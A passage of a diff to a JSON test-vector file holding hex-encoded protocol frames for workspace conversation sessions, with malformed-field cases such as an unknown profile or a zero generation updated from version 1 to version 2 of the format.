"574d58310101000001000000320600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-unknown-profile", "direction": "down", - "hex": "574d583101010000010000002a0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a226672657368222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000670600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a226672657368222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-binding-not-uuid4", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d316536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d316536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-generation-zero", "direction": "down", - "hex": "574d58310101000001000000390600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a307d7d7d5d7d", + "hex": "574d58310101000001000000760600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a307d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", "error": "bad_field" }, { "name": "conversations-tool-classes-unordered", "direction": "down", - "hex": "574d583101010000010000002f0600007b2276223a312c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b227772697465222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d7d7d5d7d", + "hex": "574d583101010000010000006c0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b227772697465222c2272656164225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d34323232